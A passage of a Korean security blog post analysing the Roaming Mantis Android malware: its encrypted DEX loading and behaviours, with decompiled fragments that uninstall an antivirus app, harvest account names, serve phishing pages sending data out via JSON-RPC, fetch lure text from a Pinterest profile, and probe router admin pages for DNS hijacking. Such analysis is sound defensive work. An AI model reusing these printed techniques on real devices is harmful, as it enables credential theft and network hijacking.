alt="4.png" /></p> + +<p>frida로 실행 중인 프로세스 목록을 확인해보면 chrome이 두 개가 된 것을 확인할 수 있습니다.</p> + +<p>이 중 <code class="language-plaintext highlighter-rouge">rbj.xnmp.gjga.ucms</code>가 악성 앱, <code class="language-plaintext highlighter-rouge">com.android.chrome</code>이 진짜 chrome입니다.</p> + +<h2 id="2-dynamic-dex-loading">2) Dynamic DEX Loading</h2> + +<p>Dynamic DEX 복호화 과정을 분석해보겠습니다. Flow Chart는 아래와 같습니다.</p> + +<p>주요한 Method의 로직을 보면서, 어떤 과정으로 Decrypt DEX 파일을 Loading하는지 분석해보겠습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/5.png" alt="5.png" /></p> + +<p><br /></p> + +<p>① <strong>Encrypted DEX Loading</strong></p> + +<p>가장 먼저 실행되는 것은 <code class="language-plaintext highlighter-rouge">ImApplication.c("rrkf")</code> 로, <code class="language-plaintext highlighter-rouge">rrkf</code>를 인자로 <code class="language-plaintext highlighter-rouge">wo.pi</code> method를 호출합니다.</p> + +<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// str = "rrkf"</span> +<span class="kr">private</span> <span class="k">void</span> <span class="nx">c</span><span class="p">(</span><span class="nb">String</span> <span class="nx">str</span><span class="p">)</span> <span class="p">{</span> + <span class="nx">b</span><span class="p">(</span><span class="nx">str</span><span class="p">,</span> <span class="nx">wo</span><span class="p">.</span><span class="nx">pi</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="nx">str</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="dl">""</span><span class="p">));</span> +<span class="p">}</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">Java_n_wo_pi()</code> 함수는 <code class="language-plaintext highlighter-rouge">rrkf</code>를 인자로 받아, <code class="language-plaintext highlighter-rouge">rrkf/lqcttjs</code> 경로를 완성합니다.</p> + +<p>완성한 경로를 <code class="language-plaintext highlighter-rouge">getAssets()</code> 함수의 인자로 사용하여, <code class="language-plaintext highlighter-rouge">assets</code> 폴더 하위의 <code class="language-plaintext highlighter-rouge">rrkf/1qcttjs</code> 파일 내용을 가져옵니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// v7 = rrkf/1qcttjs</span> +<span class="c1">// v10 = getAssets()</span> +<span class="c1">// v13 = open(Ljava/lang/String;)</span> +<span class="n">v19</span> <span class="o">=</span> <span class="nl">_JNIEnv:</span><span class="o">:</span><span class="nc">CallObjectMethod</span><span class="o">(</span><span class="n">v7</span><span class="o">,</span> <span class="n">v10</span><span class="o">,</span> <span class="n">v13</span><span class="o">);</span> +</code></pre></div></div> + +<p>실제로 <code class="language-plaintext highlighter-rouge">assets</code> Directory 에는 아래와 같이 <code class="language-plaintext highlighter-rouge">rrkf/1qcttjs</code> 경로의 파일이 있습니다. 해당 파일은 암호화된 내용으로, 정상적으로 읽을 순 없습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/6.png" alt="6.png" /></p> + +<p><br /></p> + +<p>② <strong>Decrypt DEX</strong></p> + +<p>따라서 <code class="language-plaintext highlighter-rouge">Java_n_wo_pi()</code> 내부에는 가져온 <code class="language-plaintext highlighter-rouge">1qcttjs</code> 의 내용의 복호화를 수행하는 로직이 있습니다. 복호화를 완료하면 <code class="language-plaintext highlighter-rouge">wo.pi</code> 는 Dectyped DEX 내용을 return 합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="o">(</span> <span class="mi">1</span> <span class="o">)</span> +<span class="o">{</span> + <span class="n">v49</span> <span class="o">=</span> <span class="nl">_JNIEnv:</span><span class="o">:</span><span class="nc">CallIntMethod</span><span class="o">(</span><span class="n">v24</span><span class="o">,</span> <span class="n">v61</span><span class="o">,</span> <span class="n">v21</span><span class="o">,</span> <span class="n">v48</span><span class="o">);</span> <span class="c1">// 1. 암호화된 파일 내용 read</span> + <span class="k">if</span> <span class="o">(</span> <span class="n">v49</span> <span class="o">&amp;</span> <span class="mh">0x80000000</span> <span class="o">)</span> <span class="c1">// 3. 복호화가 끝났을경우</span> + <span class="o">{</span> + <span class="nl">_JNIEnv:</span><span class="o">:</span><span class="nc">CallVoidMethod</span><span class="o">(</span><span class="n">v24</span><span class="o">,</span> <span class="n">v61</span><span class="o">,</span> <span class="n">v59</span><span class="o">);</span> <span class="c1">// close(), 4. 읽기 종료</span> + <span class="o">...</span> + <span class="k">if</span> <span class="o">(</span> <span class="n">v64</span> <span class="o">)</span> + <span class="o">{</span> + <span class="n">v65</span> <span class="o">=</span> <span class="n">v64</span><span class="o">;</span> <span class="c1">// 5. 복호화 된 내용 저장</span> + <span class="n">operator</span> <span class="nf">delete</span><span class="o">(</span><span class="n">v64</span><span class="o">);</span> + <span class="o">}</span> + <span class="k">return</span><span class="o">;</span> + <span class="o">}</span> + <span class="n">v50</span> <span class="o">=</span> <span class="o">(*(</span><span class="n">__int64</span> <span class="o">(</span><span class="n">__fastcall</span> <span class="o">**)(</span><span class="n">__int64</span><span class="o">,</span> <span class="n">__int64</span><span class="o">,</span> <span class="n">_QWORD</span><span class="o">))(*(</span><span class="n">_QWORD</span> <span class="o">*)</span><span class="n">v24</span> <span class="o">+</span> <span class="mi">1472L</span><span class="no">L</span><span class="o">))(</span><span class="n">v24</span><span class="o">,</span> <span class="n">v48</span><span class="o">,</span> <span class="mi">0L</span><span class="no">L</span><span class="o">);</span> <span class="c1">// 2. 복호화 진행 (1로 다시 이동)</span> + <span class="o">...</span> +<span class="o">}</span> +</code></pre></div></div> + +<p><br /></p> + +<p><strong>③ Save Dynamic DEX</strong></p> + +<p>복호화 된 DEX 파일의 내용은 어딘가 저장되어야 하는데, 그 과정은 <code class="language-plaintext highlighter-rouge">ImApplication.e()</code> method에서 확인할 수 있습니다. <code class="language-plaintext highlighter-rouge">e</code>는 <code class="language-plaintext highlighter-rouge">/data/user/0/rbj.xnpm.gjga.ucms/files/b</code> 와 복호화된 파일 내용을 인자로 받아, <code class="language-plaintext highlighter-rouge">wo.or</code> 을 호출합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="nc">Object</span> <span class="nf">e</span><span class="o">(</span><span class="nc">String</span> <span class="n">str</span><span class="o">,</span> <span class="nc">Object</span> <span class="n">obj</span><span class="o">)</span> <span class="o">{</span> + <span class="c1">//str = "/data/user/0/rbj.xnpm.gjga.ucms/files/b"</span> + <span class="c1">//obj = 복호화한 dex파일</span> + <span class="k">return</span> <span class="n">wo</span><span class="o">.</span><span class="na">or</span><span class="o">(</span><span class="n">str</span><span class="o">,</span> <span class="n">obj</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span> + <span class="o">}</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">Java_n_wo_or()</code> 에서는 인자로 받은 경로에 DEX 파일의 내용을 저장하는 것을 볼 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v7</span> <span class="o">=</span> <span class="o">(*(</span><span class="n">__int64</span> <span class="o">(**)(</span><span class="kt">void</span><span class="o">))(*(</span><span class="n">_QWORD</span> <span class="o">*)</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">1472L</span><span class="no">L</span><span class="o">))();</span> <span class="c1">// 복호화 DEX Byte array</span> +<span class="n">v8</span> <span class="o">=</span> <span class="o">(*(</span><span class="n">__int64</span> <span class="o">(</span><span class="n">__fastcall</span> <span class="o">**)(</span><span class="n">__int64</span><span class="o">,</span> <span class="n">__int64</span><span class="o">,</span> <span class="n">_QWORD</span><span class="o">))(*(</span><span class="n">_QWORD</span> <span class="o">*)</span><span class="n">v6</span> <span class="o">+</span> <span class="mi">1352L</span><span class="no">L</span><span class="o">))(</span><span class="n">v6</span><span class="o">,</span> <span class="n">v4</span><span class="o">,</span> <span class="mi">0L</span><span class="no">L</span><span class="o">);</span> <span class="c1">// /data/user/0/rbj.xnpm.gjga.ucms/files/b</span> +<span class="o">...</span> +<span class="n">fwrite</span><span class="o">(</span><span class="n">v7</span><span class="o">,</span> <span class="n">v10</span><span class="o">,</span> <span class="mi">1L</span><span class="no">L</span><span class="o">,</span> <span class="n">v9</span><span class="o">);</span> <span class="c1">// 해당 경로에 DEX파일 내용 작성</span> +</code></pre></div></div> + +<p><strong>따라서 복호화된 DEX 파일은, <code class="language-plaintext highlighter-rouge">/data/user/0/rbj.xnpm.gjga.ucms/files/b</code> 경로에 저장되게 됩니다.</strong></p> + +<p><br /></p> + +<p><strong>④ Load Class</strong></p> + +<p><code class="language-plaintext highlighter-rouge">ImApplication</code> 에서 가장 마지막에 실행되는 a method입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">a</span><span class="o">(</span><span class="nc">Object</span> <span class="n">obj</span><span class="o">)</span> <span class="o">{</span> + <span class="c1">// obj = DexClassLoader(path = /data/user/0/rbj.xnpm.gjga.ucms/files/b)</span> + <span class="c1">// wo.ls(1) = com.Loader</span> + <span class="nc">Class</span> <span class="n">cls</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Class</span><span class="o">)</span> <span class="n">wo</span><span class="o">.</span><span class="na">kw</span><span class="o">(</span><span class="n">wo</span><span class="o">.</span><span class="na">ls</span><span class="o">(</span><span class="mi">1</span><span class="o">),</span> <span class="n">obj</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">0L</span><span class="o">,</span> <span class="s">""</span><span class="o">,</span> <span class="kc">true</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span> + <span class="k">this</span><span class="o">.</span><span class="na">b</span> <span class="o">=</span> <span class="n">cls</span><span class="o">;</span> + <span class="c1">// wo.iz = 인자를 create() 함</span> + <span class="n">a</span> <span class="o">=</span> <span class="n">wo</span><span class="o">.</span><span class="na">iz</span><span class="o">(</span><span class="n">cls</span><span class="o">);</span> + <span class="o">}</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">wo.iz</code> 는 인자를 create() 하므로, 인자로 들어가는 <code class="language-plaintext highlighter-rouge">cls</code> 즉, <code class="language-plaintext highlighter-rouge">wo.kw</code> 의 내용을 보아야 합니다. <code class="language-plaintext highlighter-rouge">wo.kw</code> 는 아래의 코드로 동작을 요약할 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// v7 = loadClass(com.Loader)</span> +<span class="k">return</span> <span class="nl">_JNIEnv:</span><span class="o">:</span><span class="nc">CallObjectMethod</span><span class="o">(</span><span class="n">v5</span><span class="o">,</span> <span class="n">v4</span><span class="o">,</span> <span class="n">v7</span><span class="o">);</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">locaClass()</code> method에 인자로 들어간 <code class="language-plaintext highlighter-rouge">com.Loader</code> Class를 호출합니다. 이렇게 <code class="language-plaintext highlighter-rouge">b</code> 파일의 <code class="language-plaintext highlighter-rouge">com.Loaser</code> class를 인자로 받은 <code class="language-plaintext highlighter-rouge">wo.iz</code> 는 이를 <code class="language-plaintext highlighter-rouge">create()</code> 하며 Dynamic DEX Loading은 끝이 납니다.</p> + +<p><strong>그럼 이제 앱을 실행한 후, <code class="language-plaintext highlighter-rouge">/data/user/0/rbj.xnpm.gjga.ucms/files/b</code> 파일을 획득하 악성 앱이 어떤 일을 수행하는 지 분석해봅시다.</strong></p> + +<h2 id="3-behavior-analysis">3) Behavior Analysis</h2> + +<p>이전 단계에서 획득한 <code class="language-plaintext highlighter-rouge">b</code> 파일을 분석하여, 어떤 동작을 수행하게 되는지 분석해봅시다.</p> + +<p>모든 동작을 분석하기엔 양이 너무 많으므로, 아래의 동작들에 대해서만 분석해보겠습니다.</p> + +<p><strong>이 중 Roaming Mantis의 핵심 동작(DNS 조작)은 ⑤ 공유기 장악 부분을 보시면 되겠습니다.</strong></p> + +<p><strong>① A사 백신 삭제</strong></p> + +<p><strong>② 국내 앱 계정 정보 수집</strong></p> + +<p><strong>③ Phishing 창 생성 #1</strong></p> + +<p><strong>④ Phishing 창 생성 #2</strong></p> + +<p><strong>⑤ 공유기 장악 (DNS Hijacking)</strong></p> + +<p><strong>⑥ C2 서버 - 공격자 서버 정보 파싱</strong></p> + +<p><strong>⑦ SMS 관련 동작</strong></p> + +<p><strong>⑧ 기타 동작</strong></p> + +<hr /> + +<p><strong>① A사 백신 삭제</strong></p> + +<p>대한민국에서 가장 유명한 A사의 백신을 삭제하는 로직입니다.</p> + +<p>while문을 사용하여 설치된 Package명 중, 백신의 Package명(<code class="language-plaintext highlighter-rouge">com.a**lab.v*</code>)과 같은 게 있을 경우 삭제하도록 하고 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span><span class="o">(!</span><span class="n">d</span><span class="o">.</span><span class="na">n</span><span class="o">.</span><span class="na">l</span><span class="o">.</span><span class="na">g</span><span class="o">(((</span><span class="nc">String</span><span class="o">)</span><span class="n">v1</span><span class="o">),</span> <span class="s">"com.a**lab.v3"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">));</span> + <span class="n">v2</span> <span class="o">=</span> <span class="n">v1</span><span class="o">;</span> <span class="c1">// 1. com.a***.v* 으로 시작하는 Package명이 있다면 저장</span> +<span class="nl">label_14:</span> + <span class="nc">String</span> <span class="n">v2_1</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="n">v2</span><span class="o">;</span> + <span class="k">if</span><span class="o">(</span><span class="n">v2_1</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="c1">// 2. 존재한다면, DELETE하는 Activity 실행</span> + <span class="nc">Intent</span> <span class="n">v0_1</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Intent</span><span class="o">();</span> + <span class="n">v0_1</span><span class="o">.</span><span class="na">setAction</span><span class="o">(</span><span class="s">"android.intent.action.DELETE"</span><span class="o">);</span> + <span class="n">v0_1</span><span class="o">.</span><span class="na">setData</span><span class="o">(</span><span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="s">"package:"</span> <span class="o">+</span> <span class="n">v2_1</span><span class="o">));</span> + <span class="n">v0_1</span><span class="o">.</span><span class="na">addFlags</span><span class="o">(</span><span class="mh">0x10000000</span><span class="o">);</span> + <span class="n">arg8</span><span class="o">.</span><span class="na">startActivity</span><span class="o">(</span><span class="n">v0_1</span><span class="o">);</span> <span class="c1">// 안랩을 삭제하는 activity를 넣음</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>실행된 Activity는 아래와 같이 보입니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/7.png" alt="7.png" /></p> + +<hr /> + +<p><strong>② 국내 앱 계정 정보 수집</strong></p> + +<p>아래는 기기에 저장된 계정들에 대해서 name과 type을 매칭하여 저장하는 로직입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. 기기에서 관리중인 계정 정보 수집</span> +<span class="nc">Account</span><span class="o">[]</span> <span class="n">v0_4</span> <span class="o">=</span> <span class="o">((</span><span class="nc">AccountManager</span><span class="o">)</span><span class="n">v0_3</span><span class="o">).</span><span class="na">getAccounts</span><span class="o">();</span> + +<span class="c1">// 2. 계정과 종류를 수집</span> +<span class="n">v10_1</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">v0_4</span><span class="o">[</span><span class="n">v12</span><span class="o">].</span><span class="na">name</span> <span class="o">+</span> <span class="s">":"</span> <span class="o">+</span> <span class="n">v0_4</span><span class="o">[</span><span class="n">v12</span><span class="o">].</span><span class="na">type</span><span class="o">);</span> +</code></pre></div></div> + +<p>수집한 type들 중 아래의 패키지명이 일치하는 계정이 있다면 내용을 수집합니다. 패키지명은 국내 게임사, OTP, 포인트 관련 패키지명들이었습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/8.png" alt="8.png" /></p> + +<p>아래는 S사의 포인트 앱 happy***** 의 저장 예시입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v9</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="s">"Happy*****:"</span><span class="o">);</span> <span class="c1">// 계정이 존재한다면, comment와 함께 저장</span> +</code></pre></div></div> + +<hr /> + +<p><strong>③ Phishing 창 생성 #1</strong></p> + +<p><code class="language-plaintext highlighter-rouge">com.Loader</code> Class에는 static으로 정의 된 HTML/javascript 코드들이 있습니다. 해당 코드를 정적으로 확인하면 아래와 같은 Phishing 페이지를 확인할 수 있습니다. 여러 나라를 대상으로 악성 행위를 수행하기 때문에, 사용자의 환경에 따라 언어를 출력하도록 되어있습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/9.png" alt="9.png" /></p> + +<p>한국어에서 값을 가져와서 확인해보면, 아래 같은 페이지를 확인할 수 있습니다. 이 페이지는 <code class="language-plaintext highlighter-rouge">127.0.0.1:Random_port</code> 로 열리는 Web view Activity로, 사용자는 안전 인증 페이지로 오인하여 본인의 정보를 입력할 수 있습니다. 이 때 <code class="language-plaintext highlighter-rouge">%%ACCOUNT%%</code> 부분은 기기에 저장된 gmail 계정이 출력됩니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/10.png" alt="10.png" /></p> + +<p>전달 받은 값은 <code class="language-plaintext highlighter-rouge">127.0.0.1:port/submit</code> 으로 전달, Response 값을 <code class="language-plaintext highlighter-rouge">setMyInfo</code> method로 JSON-RPC 통신하게 됩니다. 즉 공격자에게 전달됩니다.</p> + +<ul> + <li>Json-RPC는 원격 프로시저 호출을 위한 프로토콜입니다. 서버와 경량의 데이터 교환을 수행하는데, 이 때 JOSN 형식을 사용합니다.</li> +</ul> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v8_1</span> <span class="o">=</span> <span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"name"</span><span class="p">);</span> +<span class="n">v8_2</span><span class="p">.</span><span class="n">append</span><span class="p">(((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"first_name"</span><span class="p">)));</span> +<span class="n">String</span> <span class="n">v0</span> <span class="o">=</span> <span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"middle_name"</span><span class="p">);</span> +<span class="n">v8_2</span><span class="p">.</span><span class="n">append</span><span class="p">(((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"last_name"</span><span class="p">)));</span> +<span class="n">String</span> <span class="n">v2_1</span> <span class="o">=</span> <span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"date"</span><span class="p">);</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"xx1"</span><span class="p">));</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"xx2"</span><span class="p">));</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"xx3"</span><span class="p">));</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"xx4"</span><span class="p">));</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">"/"</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"ss1"</span><span class="p">));</span> + +<span class="c1">// 수집한 정보를 JSON-RPC로 전달, 웹 서버 종료</span> +<span class="n">String</span> <span class="n">v0_1</span> <span class="o">=</span> <span class="s">"JSON:"</span> <span class="o">+</span> <span class="n">new</span> <span class="nf">JSONObject</span><span class="p">(</span><span class="n">v7</span><span class="p">).</span><span class="n">toString</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> +<span class="n">this</span><span class="p">.</span><span class="n">c</span><span class="p">.</span><span class="n">g</span><span class="p">.</span><span class="n">f</span><span class="p">(</span><span class="s">"setMyInfo"</span><span class="p">,</span> <span class="n">new</span> <span class="n">String</span><span class="p">[]{</span><span class="n">v8_1</span><span class="p">,</span> <span class="n">v0_1</span><span class="p">}).</span><span class="n">f</span><span class="p">(</span><span class="n">new</span> <span class="n">Loader</span><span class="p">.</span><span class="n">t0</span><span class="p">.</span><span class="n">a</span><span class="p">(</span><span class="n">this</span><span class="p">,</span> <span class="n">v7</span><span class="p">),</span> <span class="n">Loader</span><span class="p">.</span><span class="n">t0</span><span class="p">.</span><span class="n">b</span><span class="p">.</span><span class="n">a</span><span class="p">);</span> +<span class="err">}</span> +</code></pre></div></div> + +<hr /> + +<p>④ <strong>Phishing 창 생성 #2</strong></p> + +<p>또 다른 Phishing 창의 예시를 살펴봅시다. 이 Phishing은 앱 이름이 <code class="language-plaintext highlighter-rouge">zc1</code>. <code class="language-plaintext highlighter-rouge">zc</code>. <code class="language-plaintext highlighter-rouge">scan</code> 일 경우 수행됩니다. 사용자가 어떤 통신사를 사용하는 지에 따라, 그에 맞는 피싱 페이지를 생성합니다. 아래는 일본의 통신사인 <code class="language-plaintext highlighter-rouge">domoco</code>를 사용 할 경우의 예시입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">else</span> <span class="k">if</span><span class="o">(</span><span class="n">l</span><span class="o">.</span><span class="na">j</span><span class="o">(</span><span class="n">v0_3</span><span class="o">,</span> <span class="s">"docomo"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> <span class="c1">// 1. domoco 통신사일 경우</span> + <span class="n">b</span> <span class="n">v0_6</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">h</span><span class="o">(</span><span class="s">"https://www.pinterest.com/catogreggex11/"</span><span class="o">);</span> + <span class="n">v7</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="n">v0_6</span><span class="o">.</span><span class="na">a</span><span class="o">();</span> + <span class="n">v0_5</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="n">v0_6</span><span class="o">.</span><span class="na">b</span><span class="o">();</span> <span class="c1">// 2. 위의 URL에서 info 정보 수집</span> + <span class="n">v1</span> <span class="o">=</span> <span class="n">i</span><span class="o">.</span><span class="na">a</span><span class="o">(</span><span class="n">v0_5</span><span class="o">,</span> <span class="s">""</span><span class="o">)</span> <span class="o">?</span> <span class="s">"【JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスを検知しました。ご確認ください。"</span> <span class="o">:</span> <span class="c1">// 3. 수집이 안 될 경우를 대비한 피싱 문구</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>v0_6 변수를 보면, <code class="language-plaintext highlighter-rouge">https://www.pinterest.com/catogreggex11/</code>의 주소로 접근하려는 것을 볼 수 있습니다. Pinterest는 유명한 이미지 공유 사이트로, 피싱 사이트가 아닙니다. 해당 URL은 경로에 적힌 <code class="language-plaintext highlighter-rouge">catogreggex11</code> 계정의 프로필 페이지에 접근 하는 것으로, 한번 직접 접근해보도록 합시다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/11.png" alt="11.png" /></p> + +<p>info 문구를 보면 통신사에 맞는 Phshing 문구가 입력되어 있는 것을 확인할 수 있습니다. 위의 코드에서 v0_5는 이 info 문구를 parsing 하고, <code class="language-plaintext highlighter-rouge">----</code> 를 기점으로 각각 Notification의 문구와 Notification 클릭 시 open되는 WebView URL로 사용합니다.</p> + +<hr /> + +<p><strong>⑤ 공유기 장악 (DNS Hijacking)</strong></p> + +<p>Roaming Mantis의 가장 핵심이 되는 공유기 장악 기능을 분석해봅시다.</p> + +<p>모바일 환경에서는 대부분의 기기가 공유기(라우터)를 DHCP 서버로 두고 IP 및 DNS 주소를 할당 받는 방식을 사용하고 있습니다. 따라서 공격자 DHCP Server의 IP 주소를 수집합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">v2</span> <span class="o">=</span> <span class="o">((</span><span class="nc">WifiManager</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">n</span><span class="o">.</span><span class="na">getApplicationContext</span><span class="o">().</span><span class="na">getSystemService</span><span class="o">(</span><span class="s">"wifi"</span><span class="o">)).</span><span class="na">getDhcpInfo</span><span class="o">().</span><span class="na">serverAddress</span><span class="o">;</span> +</code></pre></div></div> + +<p>DHCP 서버의 IP 주소를 알아봤자, 사설 IP의 주소일 가능성이 매우 크기 때문에 공격자는 직접 접근하기 어려울 것입니다. 내부에서 접근을 시도해야 하므로 공격자는 사용자의 기기로 접근합니다.</p> + +<p>공격자는 수집한 DHCP 서버의 IP 주소에 특정 TCP Port를 추가하여 로그인 페이지를 호출합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span><span class="o">[]</span> <span class="n">v5</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">int</span><span class="o">[]{</span><span class="mi">8080</span><span class="o">,</span> <span class="mi">8888</span><span class="o">,</span> <span class="mi">80</span><span class="o">,</span> <span class="mi">7777</span><span class="o">,</span> <span class="mi">8899</span><span class="o">};</span> +<span class="k">for</span><span class="o">(</span><span class="n">v9</span> <span class="o">=</span> <span class="s">"http://"</span> <span class="o">+</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">":"</span> <span class="o">+</span> <span class="n">v8</span> <span class="o">+</span> <span class="s">"/login/login.cgi"</span><span class="o">;</span> <span class="kc">true</span><span class="o">;</span> <span class="n">v9</span> <span class="o">=</span> <span class="n">v10_1</span><span class="o">.</span><span class="na">toString</span><span class="o">()){</span> + <span class="n">v9_1</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="na">b</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="n">v9</span><span class="o">,</span> <span class="kc">false</span><span class="o">);</span> +</code></pre></div></div> + +<p>코드를 보면, <code class="language-plaintext highlighter-rouge">8080</code>, <code class="language-plaintext highlighter-rouge">8888</code>, <code class="language-plaintext highlighter-rouge">80</code> 등 주로 웹 서비스에서 사용하는 포트들을 대상으로 하는 것을 볼 수 있습니다. 그렇게 획득한 주소에 <code class="language-plaintext highlighter-rouge">/login/login.cgi</code> 경로를 붙여 최종적으로 <code class="language-plaintext highlighter-rouge">http://{DHCP_SERVER}:{PORT}/login/login.cgi</code> 라는 URL을 완성합니다.</p> + +<p>아래는 실행 시 실제로 보내진 HTTP Request Dump입니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/12.png" alt="12.png" /></p> + +<p>URL의 경로에서 유추할 수 있듯, 공격자는 <strong>공유기 관리 페이지에 접근</strong>하여 실제 응답이 돌아오는 지 확인합니다. 그리고 만약 응답이 돌아온다면 저장하고, Refresh 혹은 Redirect 되는 Response가 온다면 해당 경로까지 접근하여 최종적인 Response를 받아옵니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Matcher</span> <span class="n">v10</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"http-equiv=\"?refresh\"? .+?URL=(.+?)\""</span><span class="o">,</span> <span class="mi">2</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v9_1</span><span class="o">);</span> + <span class="nc">Matcher</span> <span class="n">v10_2</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"&lt;script&gt;.+\\.location=\"(.+?)\";.*//session_timeout"</span><span class="o">,</span> <span class="mi">2</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v9_1</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">" "</span><span class="o">,</span> <span class="s">""</span><span class="o">));</span> +</code></pre></div></div> + +<p>Response가 있다면 HTTP source code 에는 해당 DHCP 서버(공유기)의 정보가 있을 것입니다.</p> + +<p>아래는 공유기 모델에 